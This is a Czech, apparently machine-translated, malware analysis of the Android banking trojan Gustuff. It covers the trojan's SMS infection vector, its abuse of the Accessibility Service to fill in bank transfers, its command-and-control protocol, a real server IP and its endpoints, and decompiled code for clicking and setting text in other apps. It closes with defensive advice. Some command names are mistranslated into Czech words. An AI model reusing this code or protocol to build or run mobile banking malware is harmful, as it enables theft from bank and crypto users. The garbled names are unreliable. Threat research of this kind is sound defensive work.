Jak Android Trojan Gustuff sbírá smetanu (fiat a krypto) z vašich účtů

Jak Android Trojan Gustuff sbírá smetanu (fiat a krypto) z vašich účtů

Právě druhý den Group-IB hlášení o činnosti mobilního Androidu Trojan Gustuff. Funguje výhradně na mezinárodních trzích a útočí na klienty 100 největších zahraničních bank, uživatele mobilních 32 kryptopeněženek a také na velké zdroje elektronického obchodování. Vývojář Gustuff je ale rusky mluvící kyberzločinec pod přezdívkou Bestoffer. Až donedávna chválil svého Trojana jako „seriózní produkt pro lidi se znalostmi a zkušenostmi“.

Specialista na analýzu škodlivého kódu ve společnosti Group-IB Ivan Pisarev ve svém výzkumu podrobně hovoří o tom, jak Gustuff funguje a jaká jsou jeho nebezpečí.

Koho Gustuff loví?

Gustuff patří k nové generaci malwaru s plně automatizovanými funkcemi. Trojan se podle vývojáře stal novou a vylepšenou verzí malwaru AndyBot, který od listopadu 2017 útočí na telefony s Androidem a krade peníze prostřednictvím phishingových webových formulářů vydávajících se za mobilní aplikace známých mezinárodních bank a platebních systémů. Bestoffer uvedl, že cena pronájmu Gustuff Bot byla 800 $ měsíčně.

Analýza vzorku Gustuff ukázala, že trojský kůň potenciálně cílí na zákazníky využívající mobilní aplikace největších bank, jako je Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank a také kryptopeněženky. Bitcoinová peněženka, BitPay, Cryptopay, Coinbase atd.

Gustuff původně vytvořený jako klasický bankovní trojan ve své aktuální verzi výrazně rozšířil seznam potenciálních cílů útoku. Kromě aplikací pro Android pro banky, fintech společnosti a krypto služby je Gustuff zaměřen na uživatele aplikací na trhu, online obchodů, platebních systémů a instant messengerů. Zejména PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut a další.

Vstupní bod: výpočet pro hromadnou infekci

Gustuff se vyznačuje „klasickým“ vektorem pronikání do smartphonů Android prostřednictvím SMS zpráv s odkazy na soubory APK. Když je zařízení Android infikováno trojským koněm na příkaz serveru, Gustuff se může dále šířit prostřednictvím databáze kontaktů infikovaného telefonu nebo prostřednictvím databáze serveru. Funkcionalita Gustuff je navržena pro masovou infekci a maximální kapitalizaci podnikání jejích operátorů – má unikátní funkci „automatického načítání“ do legitimních aplikací mobilního bankovnictví a kryptopeněženek, což vám umožňuje urychlit a rozšířit krádež peněz.

Studie trojského koně ukázala, že funkce automatického vyplňování v něm byla implementována pomocí služby přístupnosti, služby pro osoby se zdravotním postižením. Gustuff není prvním trojským koněm, který úspěšně obešel ochranu proti interakci s okenními prvky jiných aplikací využívajících tuto službu Android. Využití Služby přístupnosti v kombinaci s plničem do auta je však stále poměrně vzácné.

Po stažení do telefonu oběti je Gustuff pomocí služby přístupnosti schopen interagovat s prvky oken jiných aplikací (bankovnictví, kryptoměna, ale i aplikace pro online nakupování, zasílání zpráv atd.) a provádět akce nezbytné pro útočníky . Například na příkaz serveru může trojský kůň stisknout tlačítka a změnit hodnoty textových polí v bankovních aplikacích. Použití mechanismu Accessibility Service umožňuje trojskému koni obejít bezpečnostní mechanismy používané bankami k boji proti předchozí generaci mobilních trojských koní, stejně jako změny v bezpečnostní politice implementované společností Google v nových verzích operačního systému Android. Gustuff tedy „ví, jak“ deaktivovat ochranu Google Protect: podle autora tato funkce funguje v 70 % případů.

Jak Android Trojan Gustuff sbírá smetanu (fiat a krypto) z vašich účtů

Gustuff také umí zobrazovat falešná PUSH upozornění s ikonami legitimních mobilních aplikací. Uživatel klikne na oznámení PUSH a zobrazí se phishingové okno stažené ze serveru, kde zadá požadovaná data bankovní karty nebo kryptopeněženky. V jiném scénáři Gustuff se otevře aplikace, jejímž jménem bylo zobrazeno oznámení PUSH. V tomto případě může malware na příkaz ze serveru prostřednictvím služby usnadnění vyplnit pole formuláře bankovní aplikace pro podvodnou transakci.

Funkce Gustuff také zahrnuje odesílání informací o infikovaném zařízení na server, možnost čtení/odesílání SMS zpráv, odesílání požadavků USSD, spuštění SOCKS5 Proxy, sledování odkazu, odesílání souborů (včetně skenů fotografií dokumentů, screenshotů, fotografií) na server, resetujte zařízení na tovární nastavení.

Analýza malwaru

Před instalací škodlivé aplikace zobrazí operační systém Android uživateli okno se seznamem práv požadovaných Gustuffem:

Jak Android Trojan Gustuff sbírá smetanu (fiat a krypto) z vašich účtů
Aplikace bude nainstalována až po obdržení souhlasu uživatele. Po spuštění aplikace trojský kůň zobrazí uživateli okno:

Jak Android Trojan Gustuff sbírá smetanu (fiat a krypto) z vašich účtů
Poté svou ikonu odstraní.

Gustuff je podle autora balen baličem z FTT. Po spuštění aplikace pravidelně kontaktuje CnC server, aby přijal příkazy. Několik souborů, které jsme zkoumali, používalo jako řídicí server IP adresu 88.99.171[.]105 (dále to budeme označovat jako <%CnC%>).

Po spuštění začne program odesílat zprávy na server http://<%CnC%>/api/v1/get.php.

Očekává se, že odpověď bude JSON v následujícím formátu:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Při každém přístupu k aplikaci odešle informace o infikovaném zařízení. Formát zprávy je uveden níže. Za zmínku stojí, že pole plně, další, aplikace и povolení – volitelné a bude odesláno pouze v případě příkazu požadavku z CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Ukládání konfiguračních dat

Gustuff ukládá provozně důležité informace do souboru preferencí. Název souboru, stejně jako názvy parametrů v něm, jsou výsledkem výpočtu součtu MD5 z řetězce 15413090667214.6.1<%name%>Kde <%name%> — počáteční název-hodnota. Pythonská interpretace funkce generování jmen:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

V následujícím budeme označovat jako nameGenerator (vstup).
Takže první název souboru je: nameGenerator("API_SERVER_LIST"), obsahuje hodnoty s následujícími názvy:

Název proměnné Hodnota
nameGenerator("API_SERVER_LIST") Obsahuje seznam CnC adres ve formě pole.
nameGenerator("API_SERVER_URL") Obsahuje CNC adresu.
nameGenerator("SMS_UPLOAD") Příznak je standardně nastaven. Pokud je nastaven příznak, odesílá SMS zprávy do CnC.
nameGenerator("SMS_ROOT_NUMBER") Telefonní číslo, na které budou zasílány SMS zprávy přijaté infikovaným zařízením. Výchozí hodnota je null.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Ve výchozím nastavení je příznak vymazán. Je-li nainstalována, když infikované zařízení obdrží SMS, bude odeslána na kořenové číslo.
nameGenerator("DEFAULT_APP_SMS") Ve výchozím nastavení je příznak vymazán. Pokud je tento příznak nastaven, aplikace zpracuje příchozí SMS zprávy.
nameGenerator("DEFAULT_ADMIN") Ve výchozím nastavení je příznak vymazán. Pokud je příznak nastaven, má aplikace práva správce.
nameGenerator("DEFAULT_ACCESSIBILITY") Ve výchozím nastavení je příznak vymazán. Pokud je příznak nastaven, je spuštěna služba využívající službu usnadnění.
nameGenerator("APPS_CONFIG") Objekt JSON, který obsahuje seznam akcí, které je třeba provést, když je spuštěna událost usnadnění přidružená ke konkrétní aplikaci.
nameGenerator("APPS_INSTALLED") Ukládá seznam aplikací nainstalovaných v zařízení.
nameGenerator("IS_FIST_RUN") Příznak se resetuje při prvním spuštění.
nameGenerator("UNIQUE_ID") Obsahuje jedinečný identifikátor. Vygeneruje se při prvním spuštění robota.

Modul pro zpracování příkazů ze serveru

Aplikace ukládá adresy CnC serverů ve formě pole zakódovaného pomocí 85. základna linky. Seznam CnC serverů lze změnit po přijetí příslušného příkazu, v takovém případě budou adresy uloženy v souboru preferencí.

V reakci na požadavek server odešle příkaz aplikaci. Stojí za zmínku, že příkazy a parametry jsou prezentovány ve formátu JSON. Aplikace může zpracovávat následující příkazy:

Tým popis
vpředStart Začněte odesílat SMS zprávy přijaté infikovaným zařízením na server CnC.
vpředStop Zastavit odesílání SMS zpráv přijatých infikovaným zařízením na server CnC.
ussdRun Proveďte požadavek USSD. Číslo, na které musíte provést požadavek USSD, se nachází v poli JSON „number“.
Pošli SMS Odešlete jednu SMS zprávu (v případě potřeby se zpráva „rozdělí“ na části). Jako parametr příkaz přebírá objekt JSON obsahující pole „to“ – cílové číslo a „body“ – tělo zprávy.
odeslatSmsAb Odesílejte SMS zprávy (v případě potřeby je zpráva „rozdělena“ na části) všem v seznamu kontaktů infikovaného zařízení. Interval mezi odesláním zpráv je 10 sekund. Tělo zprávy je v JSON poli "body"
poslatSmsMass Odesílejte SMS zprávy (v případě potřeby je zpráva „rozdělena“ na části) na kontakty uvedené v parametrech příkazu. Interval mezi odesláním zpráv je 10 sekund. Jako parametr příkaz přebírá pole JSON (pole „sms“), jehož prvky obsahují pole „to“ – cílové číslo a „body“ – tělo zprávy.
changeServer Tento příkaz může mít hodnotu s klíčem „url“ jako parametrem – poté bot změní hodnotu nameGenerator(“SERVER_URL”) nebo „array” – poté bot zapíše pole do nameGenerator (“API_SERVER_LIST”) Aplikace tedy změní adresu CNC serverů.
adminNumber Příkaz je navržen tak, aby pracoval s kořenovým číslem. Příkaz přijímá objekt JSON s následujícími parametry: “number” — změna nameGenerator(“ROOT_NUMBER”) na přijatou hodnotu, “resend” — změna nameGenerator(“SMS_ROOT_NUMBER_RESEND”), “sendId” — odeslání nameGenerator(“ROOT_NUMBER” ) unikátní ID.
updateInfo Odeslat informace o infikovaném zařízení na server.
odstranit data Příkaz je určen k odstranění uživatelských dat. V závislosti na tom, pod jakým názvem byla aplikace spuštěna, jsou data buď zcela vymazána při restartu zařízení (primární uživatel), nebo jsou smazána pouze uživatelská data (sekundární uživatel).
ponožkyStart Spusťte modul Proxy. Obsluha modulu je popsána v samostatné části.
ponožkyStop Zastavte modul proxy.
otevřít odkaz Postupujte podle odkazu. Odkaz se nachází v parametru JSON pod klíčem „url“. K otevření odkazu se používá „android.intent.action.VIEW“.
uploadAllSms Odešlete všechny SMS zprávy přijaté zařízením na server.
uploadAllPhotos Odešlete obrázky z infikovaného zařízení na adresu URL. Adresa URL přichází jako parametr.
nahrát soubor Odešlete soubor na adresu URL z infikovaného zařízení. Adresa URL přichází jako parametr.
uploadPhoneNumbers Odešlete telefonní čísla ze seznamu kontaktů na server. Pokud je jako parametr přijata hodnota objektu JSON s klíčem „ab“, aplikace obdrží seznam kontaktů z telefonního seznamu. Pokud je přijat JSON objekt s klíčem „sms“ jako parametr, aplikace načte seznam kontaktů od odesílatelů SMS zpráv.
změnitArchiv Aplikace stáhne soubor z adresy, která přichází jako parametr pomocí klíče „url“. Stažený soubor se uloží pod názvem „archive.zip“. Aplikace poté soubor rozbalí, volitelně pomocí hesla archivu „b5jXh37gxgHBrZhQ4j3D“. Rozbalené soubory se uloží do adresáře [external storage]/hgps. V tomto adresáři aplikace ukládá webové padělky (popsáno níže).
akce Příkaz je navržen pro práci se službou Action Service, která je popsána v samostatné části.
test Nicnedělání.
download Příkaz je určen ke stažení souboru ze vzdáleného serveru a jeho uložení do adresáře „Downloads“. Adresa URL a název souboru přicházejí jako parametr, pole v objektu parametru JSON: „url“ a „fileName“.
odstranit Odebere soubor z adresáře "Downloads". Název souboru je uveden v parametru JSON s klíčem „fileName“. Standardní název souboru je „tmp.apk“.
oznámení Zobrazit upozornění s popisem a názvy nadpisů definovaných serverem pro správu.

Formát příkazu oznámení:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Oznámení generované vyšetřovaným souborem vypadá identicky s oznámeními generovanými aplikací uvedenou v poli aplikace. Pokud je hodnota pole openApp — Pravda, při otevření upozornění se spustí aplikace uvedená v poli aplikace. Pokud je hodnota pole openApp — Nepravda, tedy:

  • Otevře se phishingové okno, jehož obsah se stáhne z adresáře <%externí úložiště%>/hgps/<%filename%>
  • Otevře se phishingové okno, jehož obsah se stáhne ze serveru <%url%>?id=<%Bot id%>&app=<%Application name%>
  • Otevře se phishingové okno maskované jako karta Google Play s možností zadat podrobnosti o kartě.

Aplikace odešle výsledek libovolného příkazu do <%CnC%>set_state.php jako objekt JSON v následujícím formátu:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Seznam příkazů, které aplikace zpracovává akce. Když je přijat příkaz, modul zpracování příkazů přistupuje k této službě, aby provedl rozšířený příkaz. Služba přijímá jako parametr objekt JSON. Služba může provádět následující příkazy:

1. PARAMS_ACTION — při příjmu takového příkazu služba nejprve obdrží z parametru JSON hodnotu klíče Type, která může být následující:

  • serviceInfo – dílčí příkaz získá hodnotu pomocí klíče z parametru JSON zahrnoutNedůležité. Pokud je příznak True, aplikace příznak nastaví FLAG_ISOLATED_PROCESS na službu využívající Službu usnadnění. Tímto způsobem bude služba spuštěna v samostatném procesu.
  • kořen — přijímat a odesílat na server informace o okně, které je aktuálně aktivní. Aplikace získává informace pomocí třídy AccessibilityNodeInfo.
  • administrátor — požádat o administrátorská práva.
  • zpoždění — pozastavit ActionsService na počet milisekund zadaný v parametru pro klíč „data“.
  • okna — odeslat seznam oken viditelných uživateli.
  • instalovat — nainstalovat aplikaci na infikované zařízení. Název archivního balíčku je v klíči „fileName“. Samotný archiv se nachází v adresáři Downloads.
  • globální – dílčí příkaz je určen k navigaci z aktuálního okna:
    • v nabídce Rychlé nastavení
    • zpětně
    • Domov
    • k oznámením
    • do okna naposledy otevřených aplikací

  • zahájit - spusťte aplikaci. Název aplikace přichází jako parametr podle klíče datum.
  • zvuky — změňte režim zvuku na ticho.
  • odemknout — zapne podsvícení obrazovky a klávesnice na plný jas. Aplikace provede tuto akci pomocí funkce WakeLock, přičemž jako značku uvede řetězec [Application lable]:INFO
  • povoleníPřekryvná vrstva — funkce není implementována (odpověď na provedení příkazu je {"message":"Not support"} nebo {"message":"low sdk"})
  • gesto — funkce není implementována (odpověď na provedení příkazu je {"message":"Not support"}nebo {"message":"Low API"})
  • oprávnění — tento příkaz je nutný k vyžádání oprávnění pro aplikaci. Funkce dotazu však není implementována, takže příkaz postrádá smysl. Seznam požadovaných práv přichází jako pole JSON s klíčem „oprávnění“. Standardní seznam:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • otevřít — zobrazit phishingové okno. V závislosti na parametru přicházejícím ze serveru může aplikace zobrazit následující phishingová okna:
    • Zobrazit phishingové okno, jehož obsah je zapsán v souboru v adresáři <%externí adresář%>/hgps/<%param_filename%>. Výsledek interakce uživatele s oknem bude odeslán do <%CnC%>/records.php
    • Zobrazit phishingové okno, jehož obsah je předem načten z adresy <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Výsledek interakce uživatele s oknem bude odeslán do <%CnC%>/records.php
    • Zobrazit phishingové okno maskované jako karta Google Play.

  • interaktivní — příkaz je navržen pro interakci s prvky okna jiných aplikací využívajících AcessibilityService. V programu byla implementována speciální služba pro interakci. Zkoumaná aplikace může komunikovat s okny:
    • Aktuálně aktivní. V tomto případě parametr obsahuje id nebo text (název) objektu, se kterým potřebujete komunikovat.
    • Viditelné pro uživatele v době provedení příkazu. Aplikace vybírá okna podle ID.

    Po obdržení předmětů AccessibilityNodeInfo Pro prvky okna zájmu může aplikace v závislosti na parametrech provádět následující akce:

    • fokus — nastavení fokusu na objekt.
    • kliknout — kliknout na objekt.
    • actionId — provedení akce podle ID.
    • setText — změna textu objektu. Změna textu je možná dvěma způsoby: provedením akce ACTION_SET_TEXT (pokud je verze infikovaného zařízení pro Android mladší nebo rovna LÍZÁTKO), nebo umístěním řetězce do schránky a jeho vložením do objektu (u starších verzí). Tento příkaz lze použít ke změně údajů v bankovní aplikaci.

2. PARAMS_ACTIONS - stejný jako PARAMS_ACTION, přichází pouze pole příkazů JSON.

Zdá se, že mnoho lidí bude zajímat, jak vypadá funkce interakce s okenními prvky jiné aplikace. Takto je tato funkce implementována v Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Funkce nahrazení textu:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Při správné konfiguraci řídicího serveru je tedy Gustuff schopen vyplnit textová pole v bankovní aplikaci a kliknout na tlačítka nezbytná k dokončení transakce. Trojan se ani nemusí do aplikace přihlašovat – stačí odeslat příkaz pro zobrazení PUSH notifikace a poté otevřít dříve nainstalovanou bankovní aplikaci. Uživatel se autentizuje a poté bude moci Gustuff naplnit auto.

Modul zpracování SMS zpráv

Aplikace nainstaluje obslužnou rutinu události pro infikované zařízení, aby mohlo přijímat SMS zprávy. Zkoumaná aplikace může přijímat příkazy od operátora, které přicházejí v těle SMS zprávy. Příkazy přicházejí ve formátu:

7!5=<kódovaný příkaz %Base64%>

Aplikace hledá řetězec ve všech příchozích SMS zprávách 7!5=, když je detekován řetězec, dekóduje řetězec z Base64 na offsetu 4 a provede příkaz. Příkazy jsou podobné jako u CnC. Výsledek provedení je odeslán na stejné číslo, ze kterého přišel příkaz. Formát odpovědi:

7*5=<%Base64 kódování “příkazu_kódu výsledku”%>

Volitelně může aplikace odesílat všechny přijaté zprávy na kořenové číslo. Chcete-li to provést, musí být v souboru předvoleb uvedeno číslo kořene a musí být nastaven příznak přesměrování zprávy. Na útočníkovo číslo je odeslána SMS zpráva ve formátu:

<%From number%> - <%Time, format: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Volitelně může aplikace také odesílat zprávy do CnC. SMS zpráva je odeslána na server ve formátu JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Pokud je nastaven příznak nameGenerator("DEFAULT_APP_SMS") – aplikace přestane zpracovávat SMS zprávu a vymaže seznam příchozích zpráv.

Proxy modul

Zkoumaná aplikace obsahuje modul Backconnect Proxy (dále jen modul Proxy), který má samostatnou třídu zahrnující statická pole s konfigurací. Konfigurační data jsou ve vzorku uložena v přehledné podobě:

Jak Android Trojan Gustuff sbírá smetanu (fiat a krypto) z vašich účtů

Všechny akce prováděné modulem Proxy jsou protokolovány do souborů. K tomu aplikace v externím úložišti vytvoří adresář nazvaný „logs“ (pole ProxyConfigClass.logsDir v konfigurační třídě), ve kterém jsou uloženy soubory protokolu. Protokolování probíhá v souborech s názvy:

  1. main.txt – do tohoto souboru je přihlášena práce třídy s názvem CommandServer. V následujícím bude protokolování řetězce str do tohoto souboru označeno jako mainLog(str).
  2. session-<%id%>.txt — tento soubor ukládá data protokolu spojená s konkrétní relací proxy. V následujícím bude protokolování řetězce str do tohoto souboru označeno jako sessionLog (str).
  3. server.txt – tento soubor se používá k protokolování všech dat zapsaných do výše popsaných souborů.

Formát dat protokolu:

<%Date%> [vlákno[<%thread id%>], id[]]: log-string

Výjimky, které se vyskytnou během provozu modulu Proxy, se také zaznamenávají do souboru. K tomu aplikace vygeneruje objekt JSON v následujícím formátu:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Poté jej převede na řetězcovou reprezentaci a zaprotokoluje ji.

Proxy modul se spustí po přijetí odpovídajícího příkazu. Když je přijat příkaz ke spuštění modulu Proxy, aplikace spustí volanou službu MainService, která zodpovídá za řízení provozu modulu Proxy – jeho spouštění a zastavování.

Fáze spuštění služby:

1. Spustí časovač, který běží jednou za minutu a kontroluje aktivitu modulu Proxy. Pokud modul není aktivní, spustí jej.
Také při spuštění události android.net.conn.CONNECTIVITY_CHANGE Spustí se modul Proxy.

2. Aplikace vytvoří zablokování probuzení s parametrem PARTIAL_WAKE_LOCK a zajme ho. To zabrání CPU zařízení v přechodu do režimu spánku.

3. Spustí třídu zpracování příkazů modulu Proxy, nejprve zaprotokoluje řádek mainLog("start server") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

kde proxy_cnc, command_port a proxy_port – parametry získané z konfigurace proxy serveru.

Zavolá se třída zpracování příkazů CommandConnection. Ihned po spuštění provede následující akce:

4. Připojuje se k ProxyConfigClass.host: ProxyConfigClass.commandPort a odešle tam data o infikovaném zařízení ve formátu JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Kde:

  • id – identifikátor, pokusí se získat hodnotu s polem „id“ ze souboru sdílených předvoleb s názvem „x“. Pokud tuto hodnotu nelze získat, vygeneruje novou. Proxy modul má tedy svůj vlastní identifikátor, který se generuje podobně jako Bot ID.
  • imei — IMEI zařízení. Pokud během procesu získávání hodnoty došlo k chybě, vypíše se místo tohoto pole chybová textová zpráva.
  • imsi — Mezinárodní identita mobilního předplatitele zařízení. Pokud během procesu získávání hodnoty došlo k chybě, vypíše se místo tohoto pole chybová textová zpráva.
  • model — Název koncového produktu viditelný pro koncového uživatele.
  • výrobce — Výrobce produktu/hardwaru (Build.MANUFACTURER).
  • androidVersion – řetězec ve formátu "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • země — aktuální umístění zařízení.
  • partnerId je prázdný řetězec.
  • packageName – název balíčku.
  • networkType — typ aktuálního síťového připojení (příklad: “WIFI”, “MOBILE”). V případě chyby vrátí hodnotu null.
  • hasGsmSupport – true – pokud telefon podporuje GSM, jinak false.
  • simReady – stav SIM karty.
  • simCountry - ISO kód země (podle poskytovatele SIM karty).
  • networkOperator — jméno operátora. Pokud během procesu získávání hodnoty došlo k chybě, vypíše se místo tohoto pole chybová textová zpráva.
  • simOperator — Název poskytovatele služeb (SPN). Pokud během procesu získávání hodnoty došlo k chybě, vypíše se místo tohoto pole chybová textová zpráva.
  • version - toto pole je uloženo ve třídě config, u testovaných verzí bota bylo rovno „1.6“.

5. Přepne do režimu čekání na příkazy ze serveru. Příkazy ze serveru přicházejí ve formátu:

  • 0 offset – příkaz
  • 1 offset – sessionId
  • 2 offset – délka
  • 4 offset - data

Když přijde příkaz, aplikace zaznamená:
mainLog("Záhlaví { sessionId<%id%>], typ[<%příkaz%>], délka[<%length%>] }")

Ze serveru jsou možné následující příkazy:

Příjmení Příkaz Data Popis
connectionId 0 ID připojení Vytvořte nové připojení
SLEEP 3 Čas Pozastavte modul proxy
PING-PONG 4 - Odeslat zprávu PONG

PONG zpráva se skládá ze 4 bajtů a vypadá takto: 0x04000000.

Když je přijat příkaz connectionId (pro vytvoření nového připojení) CommandConnection vytvoří instanci třídy ProxyConnection.

  • Zastupování se účastní dvě třídy: ProxyConnection и konec. Při vytváření třídy ProxyConnection připojení k adrese ProxyConfigClass.host: ProxyConfigClass.proxyPort a předání objektu JSON:

 {
    "id":<%connectionId%>
}

Jako odpověď server odešle zprávu SOCKS5, která obsahuje adresu vzdáleného serveru, se kterým je třeba navázat spojení. Interakce s tímto serverem probíhá prostřednictvím třídy konec. Nastavení připojení lze schematicky znázornit následovně:

Jak Android Trojan Gustuff sbírá smetanu (fiat a krypto) z vašich účtů

Síťové interakce

Aby se zabránilo analýze provozu síťovými sniffery, lze interakci mezi serverem CnC a aplikací chránit pomocí protokolu SSL. Všechna přenášená data ze serveru i na něj jsou prezentována ve formátu JSON. Aplikace během provozu provádí následující požadavky:

  • http://<%CnC%>/api/v1/set_state.php — výsledek provedení příkazu.
  • http://<%CnC%>/api/v1/get.php - přijetí příkazu.
  • http://<%CnC%>/api/v1/load_sms.php — stahování SMS zpráv z infikovaného zařízení.
  • http://<%CnC%>/api/v1/load_ab.php — stažení seznamu kontaktů z infikovaného zařízení.
  • http://<%CnC%>/api/v1/aevents.php – požadavek je zadán při aktualizaci parametrů umístěných v souboru preferencí.
  • http://<%CnC%>/api/v1/set_card.php — nahrávání dat získaných pomocí phishingového okna vydávajícího se za Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – nahrávání dat protokolu.
  • http://<%CnC%>/api/v1/records.php – nahrávání dat získaných prostřednictvím phishingových oken.
  • http://<%CnC%>/api/v1/set_error.php – upozornění na chybu, která se vyskytla.

Doporučení

Aby společnosti ochránily své zákazníky před hrozbou mobilních trojských koní, musí používat komplexní řešení, která jim umožní sledovat a předcházet škodlivé činnosti bez instalace dalšího softwaru na uživatelská zařízení.

K tomu je třeba metody signatur pro detekci mobilních trojských koní posílit technologiemi pro analýzu chování klienta i samotné aplikace. Součástí ochrany by měla být i funkce identifikace zařízení pomocí technologie digitálních otisků prstů, která umožní pochopit, kdy je účet používán z atypického zařízení a již se dostal do rukou podvodníka.

Zásadně důležitým bodem je dostupnost mezikanálové analýzy, která firmám umožňuje kontrolovat rizika vznikající nejen na internetu, ale také na mobilním kanálu, například v aplikacích pro mobilní bankovnictví, pro transakce s kryptoměnami a kdekoli jinde. transakce mohou být prováděny.finanční transakce.

Bezpečnostní pravidla pro uživatele:

  • neinstalujte aplikace pro mobilní zařízení s OS Android z jiných zdrojů než z Google Play, věnujte zvláštní pozornost právům požadovaným aplikací;
  • pravidelně instalujte aktualizace operačního systému Android;
  • věnujte pozornost příponám stažených souborů;
  • nenavštěvujte podezřelé zdroje;
  • Neklikejte na odkazy přijaté v SMS zprávách.

V hlavních rolích Semjon Rogačeva, junior specialista na výzkum malwaru v Group-IB Computer Forensics Laboratory.

Zdroj: www.habr.com

Přidat komentář